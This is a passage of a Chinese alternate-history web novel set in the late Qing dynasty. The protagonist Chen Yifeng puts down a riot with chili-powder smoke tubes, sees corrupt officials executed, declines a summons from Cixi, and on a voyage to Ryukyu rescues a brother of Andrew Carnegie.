“列长枪阵!”陈逸风一声令下,士兵们迅速变换阵型。森森长矛如林立起,在火光映照下闪烁着令人胆寒的寒光。 “好兵!”左宗威眼中精光闪烁,赞叹道,“这支队伍训练有素,难怪能在望海立足。” 但接下来发生的一幕却让所有人目瞪口呆。只见陈逸风突然下令,士兵们从准备好的口袋中抓出一把把银币,向暴民群中抛去。 叮叮当当的银雨落下,在火光中闪烁着诱人的光芒。贪婪的百姓立刻被银光吸引,纷纷趴在地上疯狂抢夺起来。原本气势汹汹的暴民群瞬间土崩瓦解,街道上到处都是争抢银币的人影。 “兵不厌诈。”陈逸风转头对目瞪口呆的七爷说道,“与其拼命,不如发财。人性本贪,比起性命,这些暴民更在乎眼前利益。” 五万枚银币为队伍换来一条血路。那都是商人们刚签完合约的钱,此刻却成了他们保命的筹码。 “合同在我手里,想赖账?”陈逸风意味深长地看了眼商人们,“嘿嘿......” 这简单的威胁让商人们敢怒不敢言。在这种时候,他们只能忍气吞声,寄希望于能平安离开这是非之地。 眼看码头就在前方,突然传来震天的马蹄声。 掷弹兵在欧洲战场上曾有过短暂的辉煌。他们是最早的特种部队,用钢铁铸造的手雷在战场上开辟出一条血路。那时的将军们都明白一个道理:一支精锐的掷弹兵队伍,往往能在关键时刻扭转战局。 而此刻,在望海这个北方重镇,一群绿林好手正在上演着另一种意义上的“掷弹兵”表演。 “都准备好了吗?”陈逸风低声问道,目光没有离开街道。 苗烈轻轻点头,“兄弟们都在位置上,就等您一声令下。” 十余名身手矫健的护卫已经分散在周围的房顶上,他们腰间挂满竹筒手雷,犹如伺机而动的猎豹。每个人手中都握着一根明亮的香,随时准备给予敌人致命一击。 七爷左宗威立在陈逸风身旁,眉头微皱。作为朝廷重臣,他本不该参与这种江湖恩怨,但事态发展到现在这个地步,他也别无选择。 “当真要这么做?”七爷低声问道。 陈逸风嘴角扬起一抹笑意,“七爷大人,您觉得我们还有别的选择吗?” 话音未落,马队已经出现在街道拐角。数十匹骏马排成整齐的队形,马上骑士手持长刀,在月光下泛着寒光。 领头的是钱鹏的心腹王统领,这个凶名在外的武官此刻正得意洋洋地挥舞着长刀。 “陈逸风!识相的就乖乖投降,把仓库里的货物交出来!”王统领的声音在寂静的街道上回荡。 暗处,黑鹰已经带着一队火枪手就位。这些经过严格训练的士兵,手中握着最先进的线膛枪,随时准备给予敌人致命打击。 陈逸风并未应声,只是轻轻挥了挥手。 “轰!”第一枚竹筒在马队前方炸开。 不是预想中的火光四射,而是一团浓烈的白烟骤然炸开。辛辣的气味瞬间弥漫开来,呛得人睁不开眼。 “这是什么鬼东西?” “妈的,辣死老子了!” 马队中顿时响起一片咒骂声。 还未等他们反应过来,第二波、第三波竹筒已经如雨点般落下。每一个竹筒里都装满了精心调配的辣椒面,这是陈逸风专门为今晚准备的“礼物”。 战马受不了这种刺激,开始疯狂地嘶鸣,四处乱撞。这些平日里威风凛凛的骏马,此刻就像发了疯的野兽,根本不听骑手的指挥。 “该死的!快控制住马!”王统领急得大喊,但为时已晚。 混乱中,不少骑手已经被掀翻在地。有的摔断了腿,有的被疯狂的战马踩踏,惨叫声此起彼伏。 陈逸风看着这一幕,忍不住放声大笑:“钱鹏,你不是要调动骑兵来吗?看看你的骑兵现在像什么样子!” 就在此时,远处又传来整齐的脚步声。钱鹏亲自带着数百绿营兵赶到了,他们身着统一的军服,手持长枪,煞气十足。 就在这危急关头,街道另一端突然传来一阵号角声。紧接着,一队全副武装的绿营精锐出现在街口。 为首的将领手持令牌,高声喊道:“奉大帅之命,即刻平息此地纷争!违令者,杀无赦!” 钱鹏脸色大变。他没想到陈逸风竟然能请动大帅派兵,这已经完全超出了他的预料。 “撤!”钱鹏一声令下,绿营兵立即后撤。但街道已经被陈逸风的人围得水泄不通,想要全身而退谈何容易? 苗烈带领的火枪手开始点射,枪声在街巷中回荡。一个接一个的绿营兵倒下,鲜血染红了青石板路。 “轰!轰!轰!” 又是一轮竹筒雨。这次里面装的不只是辣椒面,还掺杂了烟雾弹。浓烟滚滚中,惨叫声此起彼伏。 等到烟尘散去,钱鹏的人马已经损失过半。剩下的人也都成了惊弓之鸟,再无半点战意。 七爷看着这一幕,终于明白了陈逸风的用意。这个狡猾的商人,从一开始就在布这个局。他不仅要打退钱鹏,更要借此立威,让所有人都知道明月商行不是好惹的。 “苗烈!”陈逸风突然开口。 “属下在!” “准备动手!” 随着这声令下,埋伏在各处的好手纷纷亮出兵刃。他们要给这些不知天高地厚的对手,上一堂终身难忘的课。 这一战,注定要载入望海商界的史册。从此以后,再无人敢小觑这个可怕的商行。而陈逸风的名字,也将与这座城市的传说永远地联系在一起。 血腥、腥臭的气息在码头上空弥漫,浓重得化不开。这里已经从一个繁忙的贸易港口变成了一片人间炼狱。 钱鹏呆坐在青石板地面上,目光呆滞地望着眼前这惨烈的一幕。四周横七竖八地躺着死伤的绿营兵,有的甚至被马蹄踏成了血肉模糊的一团。原本整齐的军装此刻沾满了泥泞和血迹,残破不堪。 一百五十名重骑兵缓缓收拢,马蹄声在寂静的空气中格外清晰。他们形成一个半月形的包围圈,将钱鹏和仅剩的十几名亲兵死死困住。战马的喘息声中带着血腥气,马背上的骑兵们个个手持长枪,冷冰冰的枪尖在暗淡的天色下闪着寒光。 “这算什么?”钱鹏的声音有些沙哑,手指无意识地抓挠着地面的石缝,“堂堂八旗子弟,怎么就落到这个地步...” 他的目光扫过码头,七百多绿营兵死伤大半,能逃出生天的不过寥寥数十人。那些幸存者此刻正挤在角落里,瑟瑟发抖,眼中充满了对死亡的恐惧。 码头边停靠的洋人商船纷纷关闭了炮门,船长和水手们站在甲板上,不住地画着十字架。他们神情紧张地注视着岸上的混乱,生怕被卷入这场清国人的内斗。 陈逸风和七爷带着人群从东面缓步而来。他们的靴子踩在血水中发出粘稠的声响,直到地上的血泊让他们无法再前进半步才停下。 第四十八章 民众激愤围攻岳家 陈逸风刚从巷口现身,凤女和瑜音就像两只受惊的小鸟般扑了过来,一左一右紧紧抱住了他。两个女子的泪水打湿了他的衣襟,颤抖的身躯显示着这段时间的惶恐不安。 “对不起,我以后再也不任性了...”凤女的声音带着哭腔,“你让我做什么就做什么,只要你别再丢下我...” 瑜音紧紧攥着陈逸风的衣袖,声音颤抖:“陈公子,我...我真的以为再也见不到你了。”她抬起头,眼中泪光闪烁,苍白的小脸写满了委屈。 孟明蛇见状,立刻招呼手下将三人围在中间。“都散开些,这里没什么好看的!”他低声喝斥着围观的路人。 不远处传来一阵骚动,沈明泰正带着衙役将钱鹏和岳桂生押解而过。昨日还趾高气扬的两人此刻如同丧家之犬,衣衫褴褛,满脸污垢。 岳桂生忽然挣扎着跪倒在地,抱住周同知的大腿:“沈兄!看在我们数十年交情的份上,求你派人通知我家眷快些逃命!”他的声音沙哑颤抖,“只要你肯帮这个忙,我...我就告诉你藏银子的地方...” 沈明泰脚步一顿,俯身靠近。岳桂生附耳低语片刻,沈明泰眼中闪过一抹贪婪,随即冷着脸挥手示意一名捕快前去通报。 远处不时传来哭喊声和打砸声。这场始于上午的暴乱席卷了整个望海城,到处都是被洗劫的店铺和燃烧的房屋。浓烟滚滚升起,遮蔽了半边天空。 七爷的骑兵开始在街道上巡逻,不时有衙役挥舞水火棍驱散聚集的暴民。许多参与打砸的人这才意识到事态严重,纷纷四散逃窜。 “七爷要屠城了!快逃命去吧!”不知是谁喊了一声,顿时引发一阵恐慌。 码头方向传来阵阵厮杀声,有人带着血迹从那边跑来,一边跑一边喊:“快跑!衙门的人开始杀人了!” 原本还在抢掠的暴民闻言,如惊弓之鸟般四散奔逃。街道上到处是丢弃的财物,混杂着血迹和泥泞。 张大的死讯不胫而走,他的手下们闻风丧胆,纷纷逃离望海城。就连陈逸风安插在各处的眼线也开始悄然撤离。 然而,就在暴乱即将平息之际,两个蒙面人突然出现在街头。他们扯着嗓子高喊:“岳家勾结官府,欺压百姓!兄弟们,随我去黄家讨个说法!” 周围原本想要逃走的暴民顿时群情激奋。“对!去岳家!” “岳家的富贵都是骗来的!” “烧了岳家大宅!” 眼看着局势又要失控,七爷皱起眉头,正要下令镇压,却见陈逸风轻轻摇了摇头。 “让他们去吧,”陈逸风低声道,“岳家做过的恶事,也该有个了结了。” 凤女和瑜音仍紧紧依偎在他身边,眼中噙着泪水。她们经历了太多,此刻只想紧紧抓住这来之不易的温暖。 街角忽然传来一阵急促的马蹄声,一队骑兵疾驰而来。为首的将领勒马停在七爷面前,抱拳道:“七爷,北城门外发现可疑人员集结,疑似有人趁乱作乱!” 七爷眉头紧锁:“查清楚是什么人没有?” “回禀七爷,对方很谨慎,我们的探子靠近就会被发现。不过据观察,应该有二三百人,个个配有兵刃。” 这个消息让所有人都绷紧了神经。二三百名武装分子,已经不是简单的民变了。 “传令下去,”七爷沉声道,“加强城防,严查出入。把能调动的兵力都集中起来,不能让他们得逞。” 陈逸风若有所思地看着北城方向。他总觉得这场暴乱来得蹊跷,现在看来果然另有隐情。 天色渐暗,浓烟中透出暗红的火光。零星的打斗声和哭喊声此起彼伏,望海城笼罩在一片诡异的氛围中。 沈明泰急匆匆地赶来复命:“七爷,岳家已经被围了!那些暴民把大门撞开,正在抢掠...”他欲言又止。 七爷挥了挥手:“说下去。” “岳桂生的家眷...已经提前逃走了。”沈明泰低着头,“属下派人去通知时,发现他们早就收拾细软离开了。” 他转头看向陈逸风:“这一切,都在你的预料之中?” 陈逸风淡淡一笑:“岳桂生能在望海城经营多年,岂是寻常人物?他早就布好了后路,只是没想到会用得这么快罢了。” 第二日,码头正中央的空地上此刻正放着一张长桌,七爷头戴官帽,身着官服,神色凛然地坐于上首。“钱鹏,你身为朝廷命官,本应清正廉洁,护佑一方百姓,然你却背道而驰。多年来,你搜刮民脂民膏,肆意中饱私囊,致百姓苦不堪言。更甚者,你暗中勾结岳桂生、张大之流,昨日竟带兵围攻商行,此恶行直接引发望海民众大乱,一时间惨叫连连,多少无辜之人因此丧命,又有多少商行遭受重创,损失不可估量。今依据国法,判你斩立决!” 七爷的判决如一记重锤,在场所有人的心里重重砸下。晨光透过窗棂,在老旧的木地板上勾勒出斑驳的光影。陈逸风立于人群中,“这便是汉人督抚的权柄,”低声喃喃,仿佛在自言自语,“也是大帅的威风。” 他转头低声告诉身旁的瑾周信:“给钱鹏家送三千两银子去。”这话说得轻描淡写,仿佛只是在谈论今日的天气。 码头上的砍头大戏还在继续,血腥味在海风中弥漫。 岳桂生和钱鹏的尸首还未凉透,张大手下的地痞流氓便被押上了断头台。绿林好汉们争相效力,一时间整个望海的地下势力几乎被连根拔起。 刀光闪过,鲜血喷溅,人头滚落。监斩的同知沈明泰面色惨白,他撑着栏杆干呕不止,胃里翻江倒海。这位养尊处优的文官哪见过这等场面?可他又不敢离开,只能强忍着恶心继续监斩。 午后,陈逸风七爷等人刚到明月商行门口就被一阵车轮声吸引过去。 这声响,由远及近,渐渐清晰。众人循声望去,只见一辆辆马车缓缓驶来,车上堆满了银箱。 阳光照在银箱上,反射出耀眼的光芒,晃得人睁不开眼。 “这得有三十万两白银吧......”商人们暗暗咂舌,眼中既有羡慕,又有恐惧。 “那是我们岳家的银子啊!”岳桂生的老婆跪在地上嚎啕大哭,她的儿子也在一旁抹泪不止。 “守财奴。”陈逸风冷笑一声,眼中闪过一丝不屑。 这话传入左宗威耳中,让他来了兴趣:“怎么?你懂钱?” “钱是流通的,”陈逸风笑着回答,“是用来创造价值的,不是用来守的。岳家守着这么多银子,到头来不还是一场空?” “好!”左宗威拍案叫绝,“你小子悟性不错。” 银车之后,又来了一队人抬着箱子。箱子里装的都是鹰洋,加起来怕是有百万两之多。这手笔之大,看得众人目瞪口呆。 谁还敢跟陈逸风斗富?早知如此,何必自讨苦吃,落得如此下场? 就在这时,岳桂生的老婆突然从地上爬起,冲向陈逸风:“还我家银子!还我家银子!”她疯疯癫癫地叫喊着,眼中布满血丝。 第四十九章 一群蠢货 护卫刚要动手,陈逸风摆了摆手:“让她过来。” 岳桂生的老婆冲到陈逸风面前,却突然愣住了。只见陈逸风从怀中取出一叠银票,随手丢在地上:“这是一万两银子,够你们母子后半生用的了。拿着,滚吧。” “你......”岳桂生的老婆张了张嘴,最终什么也没说出来。她弯腰捡起银票,拉着儿子默默离去。 左宗威看着这一幕,嘴角微微翘起:“有意思。” 夕阳西斜,层云如血,望海港上空笼罩着一层阴翳。 陈逸风站在二楼的窗前,眼神冷漠地俯视着楼下庭院中那群耷拉着脑袋的商人。灰蒙蒙的天光下,他们的脸色比死人还要惨白几分。 “一群蠢货。”他轻声喃喃,指节有节奏地叩击着窗台。昨天还在洋行里趾高气昂,今天就成了丧家之犬。这些人总是学不会教训。 楼下的商人们听到这声呵斥,反倒从中找到了一丝希望。商场沉浮多年,他们都懂:肯骂你的人,就还没把你当死人。 “让你们掺和到别人的争斗里来!”陈逸风的声音陡然拔高,“现在好了,仓库被烧、货物被抢,你们去找岳桂生要钱去啊!” 话音未落,楼下就传来一阵抽泣声。昨夜的动乱,已有十名小商人因绝望而自尽。活着的人,此刻也不过是行尸走肉罢了。 牛掌柜颤抖着身子上前一步,“先生...我们...”他的声音哽咽着,连一句完整的话都说不出来。 “你们什么?”陈逸风冷笑一声,从怀中掏出一叠厚厚的文书,“这些可都是你们亲手签的猪鬃合约,数量、价格,白纸黑字写得清清楚楚。现在,该交货了。” 此话一出,楼下顿时哭声四起。 “先生啊,货都被烧了一半...” “我们已经破产了...” “求先生开恩...” 凄厉的哭声中,突然传来“扑通”一声。众人循声看去,只见两个商人已经冲向海边,纵身跳入了漆黑的海水中。 这一幕仿佛引发了连锁反应,越来越多的商人朝着海边奔去。他们的眼中只剩下绝望,仿佛死亡才是唯一的解脱。 “快救人!”陈逸风脸色骤变,“都给我拦住他们!” 幸好停泊在港口的洋商船上的水手们反应迅速,纷纷跳入海中施救。没过多久,十几个落汤鸡就被拖上了岸。 他们浑身湿透,狼狈不堪,却依然在不停地挣扎,似乎还想再次投海。 陈逸风快步走到他们面前,目光如刀般锋利:“就这点魄力,也配做海商?区区百万银两就吓破胆了?” 一个满脸水珠的商人跪在地上,哭诉道:“先生有所不知,没了本钱,我们连翻身的机会都没有了...” “谁说没本钱了?”陈逸风环视众人,故意拖长了声调,“我这里有的是银子,一分利借给你们。” 这句话如同一记惊雷,炸得在场所有人都愣在原地。海风呼啸,却没人敢发出半点声响。 “先生此言当真?”牛掌柜颤抖着声音问道。他的眼中闪烁着不敢相信的光芒。 陈逸风指天立誓:“有神明在上,我陈逸风说到做到!” 商人们轰然跪下:“先生大恩大德,我们永世不忘!” 就在这时,码头处传来一阵整齐的脚步声。 只见科西嘉船长带着一众洋商昂首阔步而来。他们身着考究的西装,手持文明棍,举手投足间尽显优越感。 “亲爱的陈先生,”科西嘉用略带口音的中文说道,“您今天的表现让我们刮目相看。我想,我们可以谈一谈更深入的合作...” 陈逸风露出一个意味深长的笑容,做了个请的手势:“当然可以,比如...后装毛瑟步枪?” 科西嘉的瞳孔骤然收缩,但很快又恢复了常态。他优雅地欠了欠身:“看来您已经知道了。” “这世上没有不透风的墙,”陈逸风不紧不慢地说,“就像您也知道,我手上掌握着望海港七成以上的商路。” “所以我们更该合作,”科西嘉意有所指地说,“您想要的不仅仅是这些小打小闹的生意吧?” 陈逸风没有立即回答,而是转头看向那群跪在地上的商人。他们此刻就像是案板上的鱼肉,任人宰割。 而在更远的地方,孟明蛇正蹲在房顶上,看着下面这场闹剧。不远处一只黑鹰正在盘旋,发出尖锐的鸣叫。 “算了吧,”他对着黑鹰摇头叹气,“这些鸟语你也听不懂。就像这些洋人,他们永远也不会明白......” 北京城的盛夏,对满人来说宛如一场无休止的煎熬。 即便入关两百余载,这些源自白山黑水的游牧民族,依然没能适应这炙热的天气。金城内的王公贵族们尚且有冰窖消暑,普通的旗人只能靠着一把蒲扇艰难度日。 烈日当空,连路边的大柳树都蔫头耷脑。树荫下的老头敞着怀子打盹,汗水顺着皱纹往下淌,地上留下一滩深色的水渍。 “凉茶...大碗的凉茶...”一个瘦小的小贩扛着木桶,沙哑的嗓音在热浪中显得格外无力。 “西瓜咯,大兴的沙瓤西瓜...”另一个赤着上身的壮汉推着独轮车,汗水在他古铜色的皮肤上闪闪发亮。 街上的行人纷纷躲进茶馆、酒肆避暑。茶馆的伙计忙着添水续茶,偶尔用袖子擦拭额头的汗水。 一个身着青色长衫的中年人快步走进茶馆,脸上带着几分焦急。他在角落里找了个位置坐下,向伙计招手:“小二,来壶茶。” “好嘞!”伙计应声而来,熟练地摆上茶具。 中年人刚要开口,忽听隔壁桌传来压低的议论声。 “听说了吗?望海死了好几千人!”一个满脸横肉的汉子压低声音说道,眼中闪过一丝惊恐。 “这么多?”旁边的食客倒吸一口凉气,手中的茶杯差点掉落。 “可不是,血都把海水染红了。现在天津的人都不敢吃海鱼了。听说那些鱼吃了死人的肉,长得比平常大了一倍不止。” “嘘,小声点。”另一个干瘦老者左右张望,“现在衙门里到处在抓散布谣言的人。” 茶馆里的气氛顿时凝重起来。有人说是陈逸风下令屠城,有人说是湘军威字营大开杀戒,更有人说是洋人在背后挑唆。众说纷纭,却无人知晓真相。 就在这时,茶馆的门帘被人掀开。两个身着补服的年轻人走了进来,他们举手投足间带着几分傲气。 “一群被蒙在鼓里的糊涂蛋。”其中一人冷笑道,声音不大不小,刚好能让周围的人听见,“望海城才多少人口?哪来的几万人死伤?” 众人定睛一看,只见两人腰间挂着象牙牌,竟是议政衙门的笔帖式。顿时,茶馆里鸦雀无声,连茶水击盏的声音都显得格外刺耳。 “诸位,这事说来话长。”其中一个笔帖式在靠窗的位置坐下,慢悠悠地端起茶杯,轻轻吹着茶沫,“其实是当地一个姓岳的举人在背后搞鬼,想搅黄了工业特区。” “这些读书人,真是...”有人忍不住咒骂起来。 “就是,整天道貌岸然,背地里尽干些见不得人的勾当。” “可不是,现在的读书人,都是些什么玩意?” 茶馆里的气氛瞬间变了味道。众人纷纷痛骂起那些清流来,仿佛方才对望海惨案的恐惧都烟消云散了。 第五十章 太后派人请陈逸风回京 而此时的紫禁城内,坤宁宫中一片肃静。 同治皇帝坐立不安,额头上渗出细密的汗珠:“母后,这可是民变啊!若是处置不当,恐怕...” 慈禧太后正在用膳,听到儿子的话,她放下银筷,淡淡一笑:“皇儿,你是天子,要学会看清大局。望海这点小事,与长毛之乱、西洋列强相比,不值一提。” “可是...”同治欲言又止。 慈禧示意宫女退下,这才缓缓开口:“皇儿,你可知道为何大清能统治这偌大的江山两百余年?” 同治摇摇头。 慈禧轻抚着儿子的头,娓娓道来:“天下大势,说到底就是三股势力的较量。我们皇族八旗,儒生清流,还有地方督抚。只要平衡得当,天下就太平。” “那洋人和陈逸风呢?”同治追问道,眼中闪过一丝困惑。 慈禧的目光透过窗棂,望向远方。夕阳的余晖染红了半边天空,仿佛在预示着什么。 “千古以来最剧烈的时代变革,或许只能靠三千年未见之奇才来应对了。”她的声音很轻,却字字千钧。 就在母子二人说话间,外面传来急促的脚步声。一个太监跌跌撞撞地跑进来:“太后,不好了!天津那边又出事了!” 慈禧的眉头微微一皱:“何事?” “据说是...据说是有人在码头发现了一具无头尸体,死者是个洋人!” 同治“腾”地站起身:“什么?!” 慈禧却依旧神色平静,只是眼底闪过一丝不易察觉的波动:“去请裕王来。” 夜色渐深,紫禁城内灯火通明。各个衙门的大臣们连夜进宫,为这突如其来的变故焦头烂额。 而在京城的街头巷尾,关于望海惨案和洋人命案的传言愈演愈烈。有人说这是天谴,有人说这是妖术,更有人说这是列强的阴谋。 茶馆里的说书先生绘声绘色地讲述着各种版本的故事,听众们时而惊呼,时而叹息。 一个穿着褪色长衫的老者摇头晃脑:“我活了大半辈子,还从未见过这般诡异的事。依我看,这其中定有蹊跷。” “嗨,您老就别瞎操心了。”旁边的小贩笑道,“朝廷自有高人,咱们这些平头百姓,管那么多作甚?” 这片天下,已经不是从前的天下了。 陈逸风正懒散地靠在望海码头的一处茶楼里,手中把玩着一只青花瓷杯。他望着港口来来往往的洋船,嘴角勾起一抹意味深长的笑意。不远处,几个穿着西装的洋人正热切地与本地商人讨价还价。 “这位老爷,这茶是刚到的龙井,要不要再来一壶?”小二谄媚地凑上前。 陈逸风轻轻摆了摆手,目光依旧停留在那群洋人身上。远处传来轮船的汽笛声,震得窗棂微微作响。 就在前些日子,他在《域外见闻》中写下“三千年未有之大变局”这八个字。这句本该出自李鸿章之口的话,被他提前说出,在文人圈子里掀起了轩然大波。 “狂妄!” “不知天高地厚!” “大清国威何其昌盛,何来变局之说?” 朝中那些人的反应,让陈逸风忍不住发笑。他们哪里知道,这话不过是实话实说罢了。 茶楼二楼,一位身着绸缎长袍的中年文士正背对着他坐着,忽然开口:“陈大人,可是在想朝中那些事?” “哦?吴大人也来望海避暑?”陈逸风不动声色地回应。 吴文珠转过身来,面带忧色:“陛下身子一日不如一日,太后......唉......” 陈逸风眼底闪过一丝讥诮。慈禧,这个老谋深算的女人,怕是也被眼前的局势弄得焦头烂额吧。 “太后派我来寻你,”吴文珠压低声音,“想请你回京教导皇上些洋务知识。” 陈逸风轻轻摇晃着茶杯,茶水激起细微的涟漪:“为何不找议政衙门的那些大人?” “你知道的,他们......”吴文珠欲言又止。 是啊,那些人,连最基本的文化差异都搞不明白,还谈什么洋务。 陈逸风站起身,走到窗边。港口上,一艘英国商船正在卸货。船上的水手们操着听不懂的洋话,忙碌地搬运着货物。 “这些洋人,”他轻声道,“要的不过是通商罢了。” “可朝廷觉得,广州十三行已是天大的恩赐。”吴文珠苦笑。 陈逸风转身看向吴文珠:“大清的官场向来是人精云集,可这些本事,在洋人面前全派不上用场。” “就连太后......” “就连太后也拿不定主意。”陈逸风接过话头,“她再聪明,对洋务也是一窍不通。” 窗外忽然传来一阵喧哗。原来是码头上的华商与洋人起了争执,双方互不相让,眼看就要动起手来。 “你看,”陈逸风指着窗外,“这就是现状。互不理解,互不信任。” 吴文珠沉默良久,终于说道:“所以太后才想请你回京。” 陈逸风没有立即回答。 “全清国上下,也就你最懂洋务了。”吴文珠又补充道。 陈逸风转过身,目光灼灼:“告诉太后,我现在不能回京。” “为何?” “时机未到。”他淡淡道,“况且,朝中那些人,真能容得下我吗?” 吴文珠神情一滞。确实,那些老顽固们,一听到洋务就像吃了黄连般难受。就连议政衙门的大臣们,也不过是在应付了事。 “可是......” “不必多说,”陈逸风打断道,“我自有打算。” 夜色渐浓,茶楼里的客人渐渐散去。陈逸风依旧站在窗边,望着港口的方向。远处传来隐约的号角声,那是洋船起航的信号。 他知道,慈禧这个女人玩弄权术的本事确实了得,可在这新的时代浪潮面前,她的那些手段都显得那么苍白无力。 几千年的显学,岂是那么容易改变的。 就在这时,楼下传来一阵急促的脚步声。一个穿着官服的年轻人匆匆跑上楼来。 “陈先生!”那人气喘吁吁地说,“北京......北京出事了!” 陈逸风眉头一皱:“何事?” “议政衙门的张大人,被洋人......” 话未说完,陈逸风已经快步向楼下走去。这个腐朽的帝国,终究要为它的傲慢付出代价。 离开茶楼时,他回头看了一眼。二楼的灯火依旧明亮,却照不亮这个帝国即将面临的黑暗。 港口的方向,又一艘洋船鸣笛起航。轰鸣声中,仿佛预示着一个旧时代的终结,和一个新时代的开始。 这正如他在《域外见闻》中所写的那样——三千年未有之大变局。 只是这变局之下,究竟谁能笑到最后,还未可知。 天空中飘起了细雨,打湿了陈逸风的衣襟。他撑起伞,向着自己的住处走去。身后,茶楼的灯火在雨中摇曳,就像这个摇摇欲坠的王朝,在风雨中飘摇。 第五十一章 海上暴风雨 海风在咆哮,天穹如同被一层厚重的黑纱笼罩,浪头高达数丈,如同一座座移动的山峰在海面上此起彼伏。 希望号在这场暴风雨中颠簸不止,船身被巨浪抛起又重重摔下,犹如一片随波逐流的落叶。甲板上的水手们紧紧抓住船舷,生怕被这狂暴的海浪卷入深渊。 陈逸风让人将自己绑在桅杆上,任凭海风吹打着他的身躯,发出一阵狂放的大笑:“让暴风雨来得更猛烈些吧!区区风浪,也想阻挡老子?” 他的衣袍在风中呼呼作响,眼神中闪烁着异样的光芒。那神情,不像是在面对生死考验,倒像是在欣赏一出精彩的好戏。 “军师疯了吗?”孟明蛇皱着眉头,望着不远处的陈逸风。平日里这位军师可是出了名的精明,今天这般举动着实令人费解。 一个巨浪扑面而来,陈逸风浑身湿透,却仿佛浑然不觉,反而昂着头唱起了歌:“从来就没有什么救世主......”破锣般的歌声在狂风中飘荡,与海浪的咆哮声交织在一起,格外刺耳。 “军师!”孟明蛇扶着船舷,一步步向主桅杆靠近,“快进船舱!这样太危险了!” “不!”陈逸风摇着头,脸上挂着神秘的笑容,“这里才是最安全的地方!相信我!” 就在这时,一声怒吼划破了风雨的喧嚣。船长科西嘉站在船尾,指着高处疯狂抽打的副帆:“那面帆必须割断!否则我们都得完蛋!” 几名水手试图爬上去,却被狂风抽打得连连后退。有两个不慎失足,直接被甩入了汹涌的海水中,转眼就消失在了滔天巨浪之中。 “蛇爷,现在只有你能行!”陈逸风的声音穿透风雨,直达孟明蛇耳中。 孟明蛇深吸一口气,目光紧盯着那面不断抽打的副帆。他清楚,如果不尽快处理,整艘船都可能倾覆。 内力在体内流转,孟明蛇如同一只灵活的猿猴,三两下就攀上了桅杆。木质的桅杆在他手下留下了一个个清晰的抓痕,每一步都稳健有力。 风更大了,雨点如同利箭般抽打在孟明蛇脸上。他咬紧牙关,在即将到达顶端时,一个巨浪袭来,整艘船剧烈倾斜。 “小心!”甲板上响起一片惊呼。 孟明蛇却早有准备,一个翻身抓住了半空中疯狂抽打的缆绳。腰间的佩剑出鞘,寒光一闪,那面已经破损的帆布应声落入大海。 “天呐!” “这个清国人......” “简直是神迹!” 水手们目瞪口呆地看着这一幕,议论纷纷。就连经验丰富的科西嘉船长也不禁赞叹:“真是个好身手!” 孟明蛇刚稳住身形,就看见甲板上更多的人影晃动。陈逸风的其他手下也纷纷跑了出来,效仿军师的样子,将自己绑在各处固定物上。 “喂!你们这是干什么?”孟明蛇喊道。 “军师在哪,我们就在哪!”瑾周信等人异口同声道。他们的脸上虽然也带着几分惶恐,但更多的是对陈逸风的信任。 风暴持续了整整一个时辰,终于开始减弱。乌云渐渐散去,阳光透过云层洒在波涛起伏的海面上,架起了一道绚丽的彩虹。 “石爷。”陈逸风解开绳索,走到船尾处,将手中的酒壶递给一个相貌普通的中年人,“看什么呢?” 这人正是易容后的沈达华。他接过酒壶,眼神望着远方:“在想这次琉球之行。不知道会不会也像这场风暴一样凶险。” 陈逸风轻笑一声:“放心,区区萨摩藩,还掀不起什么大浪。” “军师,你是怎么知道绑在桅杆上最安全的?”孟明蛇走过来,好奇地问道。 陈逸风神秘一笑:“这可是个秘密。”说着,他的目光掠过远处的海平面,仿佛在回忆什么。 就在这时,瞭望台上传来急促的呼喊:“船长!前方发现沉船!” “准备救援!”科西嘉立即下令,“所有人各就各位!” 水手们立即行动起来,希望号调转方向,向沉船的位置驶去。 风暴虽然过去,但海面上仍漂浮着不少残骸。孟明蛇站在船头,隐约能看见远处有几个人影在浮沉。 “这片海域最近不太平。”科西嘉皱着眉头说道,“已经是这个月遇到的第三艘沉船了。” “有海盗?”沈达华问道。 “比海盗更麻烦。”科西嘉摇摇头,“是倭寇。” 此话一出,甲板上的气氛顿时紧张起来。倭寇的凶残在这片海域是出了名的,他们不仅劫掠商船,还会对遇到的所有人赶尽杀绝。 “倭寇......”陈逸风若有所思,“看来这趟琉球之行,还真得多加小心了。” 突然,一阵惊呼划破了海面的宁静。 “上帝保佑!”科西嘉船长颤抖着双手在胸前划着十字,他那饱经风霜的脸上写满了惊恐。几名水手趴在船舷边,目光死死地盯着远处漂浮的残骸。 浓重的血腥味在海风中弥漫,刺激着每个人的鼻腔。四散的木板碎片在海面上起伏,零零散散的尸骸漂浮其间。成群的鲨鱼在残骸间游弋,不时掀起一片血色的浪花。 “那边!船长!”一名眼尖的水手突然指着远处喊道,“有个活人!” 科西嘉船长举起望远镜,果然看见一个人影正在海面上挣扎。他立即下令:“放下救生艇!快!” 水手们手脚麻利地将小舢板放下水。几名身手敏捷的水手迅速划向那个溺水者。海浪不断拍打着小艇,但他们还是成功地将那人救了上来。 获救的年轻人面色苍白如纸,浑身湿透,显然是个欧洲人。他的衣着虽然狼狈,但能看出是上等的料子。船上的医生为他做了简单的检查,确认只是虚脱,并无大碍。 夜幕降临时,那年轻人终于悠悠转醒。他张开眼睛,环顾四周,目光中带着些许迷茫。 “这是在...希望号上,”船医温和地说道,“您在海里漂了很久,幸好被我们发现。” 年轻人勉强撑起身子,声音还带着几分虚弱:“感谢诸位的救命之恩。我叫迈克·卡内基。” 正在一旁休息的陈逸风猛地坐直了身子,这个姓氏让他心头一震。他放下手中的茶杯,仔细打量着这位获救者:“冒昧问一句,你可认识安德鲁·卡内基?” 迈克手中的茶杯瞬间跌落在地,发出清脆的碎裂声。他瞪大双眼:“你...你怎么会知道我哥哥?” 陈逸风神秘一笑:“天机不可泄露,在下陈逸风。”他脸上虽故作轻松,心绪却比这茶水更加难以平静。 卡内基,这个未来的钢铁大王,居然在此时就将触角伸向了大清。而自己正在推动的工业特区计划,显然已经引起了美国财团的注意。 “真是太巧了!”迈克很快平复了情绪,脸上浮现出一丝欣喜,“我此行正是要前往清国考察市场。没想到能在这里遇到陈先生。” 第五十二章 众人抵达琉球 陈逸风不动声色地观察着迈克的表情。他注意到迈克在谈及商业时,眼中满是骄傲闪过一丝精明的光芒。这让他不禁想起了历史书上记载的卡内基家族。 “能在这里遇见陈先生,实在是上帝的安排。”迈克继续说道,声音中带着几分热切,“我听说您在清国颇有影响力。” 陈逸风微微一笑:“迈克先生过誉了。不知您此行具体有何打算?” 迈克放低了声音:“坦白说,我们对清国的钢铁市场很感兴趣。” 陈逸风沉默片刻:“这个方向目前我还无权涉及到,不过,等日后有所转变,定邀先生详谈。” 